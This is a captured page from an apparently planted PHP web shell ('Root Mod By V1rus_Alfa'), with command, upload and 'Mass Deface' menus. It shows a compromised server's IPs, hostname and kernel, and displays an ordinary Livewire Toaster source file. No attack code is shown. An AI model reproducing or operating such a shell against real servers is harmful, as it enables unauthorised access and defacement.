���Root Mod By V1rus_Alfa
User / IP
:
216.73.217.78
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
repositories
/
npln
/
vendor
/
masmerise
/
livewire-toaster
/
src
/
Viewing: AccessibleCollector.php
<?php declare(strict_types=1); namespace Masmerise\Toaster; /** @internal */ final readonly class AccessibleCollector implements Collector { private const AMOUNT_OF_WORDS = 100; private const ONE_SECOND = 1000; public function __construct(private Collector $next) {} public function collect(Toast $toast): void { $addend = (int) floor(str_word_count($toast->message->value) / self::AMOUNT_OF_WORDS); $addend = $addend * self::ONE_SECOND; if ($addend > 0) { $toast = ToastBuilder::proto($toast)->duration($toast->duration->value + $addend)->get(); } $this->next->collect($toast); } public function release(): array { return $this->next->release(); } }
Coded With 💗 by
0x6ick Mod By V1rus_Alfa